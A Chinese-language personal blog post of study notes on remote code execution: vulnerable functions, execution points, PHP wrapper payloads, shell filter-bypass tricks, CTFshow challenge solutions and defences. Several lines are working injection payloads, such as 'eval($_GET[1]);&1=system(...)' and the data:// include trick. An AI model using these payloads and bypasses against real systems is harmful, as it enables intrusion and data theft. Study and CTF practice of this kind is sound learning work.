一、RCE介绍

(一)、分类

1、代码执行(Code Execution)
把用户可控的字符串当作该语言的代码/表达式在解释器里执行(例如 eval、模板表达式、反序列化触发方法)。危险在于攻击者能操纵程序逻辑、访问内存/对象/变量。

常见入口:
eval
模板表达式注入(Jinja2、Freemarker 等)
不安全的反序列化(pickle、unserialize)
表达式语言(SpEL/OGNL)

2、命令执行(Command Execution)
把用户可控的字符串传给操作系统的 shell/命令执行器(例如 system()subprocessshell=TrueRuntime.exec()),危险在于直接执行系统命令、文件读写、网络连接等 OS 级操作。

常见入口:
system
exec
popen
subprocess.Popen(..., shell=True)
Java 的 Runtime.getRuntime().exec()ProcessBuilder

(二)、成因

用户可控的输入,进入了可执行上下文

(1)解释执行环境

eval、Function、new ScriptEngine()、模板引擎表达式

(2)指令执行环境

system、exec、Runtime.exec、child_process.exec

(3)对象执行环境(现代语言最常见)

反序列化链、表达式注入、Spring SPEL、OGNL、EL

二、RCE挖掘技巧

只关注一个点:这里是不是执行某种东西

1、漏洞函数:

(1)PHP

PHP代码执行函数:

eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
uasort()等

PHP命令执行函数:

system()
exec()
shell_exec()
pcntl_exec()
popen()
proc_popen()
passthru()等

(2)Python

eval exec subprocess os.system commands

(3)Java

Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等

2、RCE区分

代码执行:

脚本——java,php,python
产生——Web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

系统——Linux、Windows
产生——web源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF产品

3、执行点

(1)字符串执行代码(初级但依旧存在)

PHP: eval, assert, preg_replace /e
JS: eval, Function()
Python: eval, exec
Java: ScriptEngine、GroovyShell

(2)系统命令执行点(中等常见)

PHP: system, exec, shell_exec
Java: Runtime.getRuntime().exec
Node: child_process.exec
Python: os.system, subprocess.Popen

参数是纯常量,还是拼接了用户输入?

(3)表达式执行(现代漏洞主流)

Java SPEL
Struts OGNL
EL 表达式
FreeMarker、Beetl、Velocity

特征:#, ${}, %{}${T(java.lang.Runtime)…}

(4)模板注入

Flask / Jinja2
Twig
Django template
FreeMarker / Pebble

(5)反序列化 → gadget 链执行

Java:Fastjson、Jackson、Shiro、SnakeYAML
PHP:__wakeup/__destruct 链
Python:pickle
Node:vm2 escape

输入进来了 → 被反序列化了 → 语言会根据类结构执行某些动作 → 你能控制这个类

render(template)
render(request.args["tpl"])

4、指纹

  • 后台有“脚本管理”“任务管理”“表达式配置”
  • API 支持用户输入模板
  • 有导入 YAML / JSON / XML 解析
  • 有“条件规则/表达式配置”
  • 有“代码片段执行”“脚本化自动任务”
  • 文件上传可以传模板文件、配置文件
  • PDF、Excel、报表生成类功能

5、业务功能点

  • 无危险意识的“表达式语言”
  • 动态配置(Policy Engine / Rule Engine)
  • 新框架(Spring Boot、Node.js、Python Flask)
  • 自动脚本执行(CI/CD 自动化任务)

三、RCE利用

1、伪协议玩法

配合文件包含伪协议(代码执行)

include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

2、关键字过滤

(1)过滤flag关键字

a、通配符
flag=fl*
cat fl*
cat ?la*

b、转义符号
ca\t /fl\ag
cat fl''ag

c、使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag

d、拼接法
a=fl;b=ag;cat$IFS$a$b

e、反引号绕过
cat `ls`

f、编码绕过
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`

g、组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行

h、异或无符号(过滤0-9a-zA-Z)!!!!
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py

(2)过滤函数关键字

a、内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

b、过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

(3)过滤空格

%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}

***(4)无回显利用!!

1、直接写个文件访问查看
2、直接进行对外访问接受

四、RCE白盒审计

1、查执行器

eval
exec
system
Runtime
ScriptEngine
template
render
deserialize
load
parse
spEL
ognl
vm2
processbuilder

2、查传入点是否过滤

从 Controller / Router 反向追踪,看用户输入能否一路传到执行点

3、CTFshow题解

29-通配符
system('tac fla*.php');

30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');

31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');

32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>

4、利用方式

a、从表达式语言直接写文件
b、利用模板引擎的 getter、import、classpath
c、反序列化 → 直接加载类 → RCE
d、语言本身的“逃逸”
Node vm2 sandbox escape
Java ScriptEngine sandbox escape
Python pickle escape

五、RCE防御

1、禁止动态执行(最好)

禁 eval、禁 ScriptEngine、禁反序列化黑名单对象。

2、限定可执行范围

模板引擎禁用危险方法
反序列化白名单
命令执行使用参数数组避免拼接

3、完全隔离

容器沙箱、权限隔离、AppArmor、seccomp
RCE 发生依旧无能力越权。

六、现代RCE

1、Spring4Shell(表达式执行 → RCE)

核心就是 SPEL 可控 → 执行 Runtime.exec。

2、Fastjson(反序列化 → gadget → RCE)

用户输入 JSON → 反序列化 → 自动调用类 → 执行命令。

小结

入门RCE熟悉一下常见绕过即可,真正熟练还是要熟悉现代框架语言才能找到执行点,又又又又又一次解释了开发的重要性,基础的重要性

依旧无回显处理。

异或、或 后面要好好学

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-11-27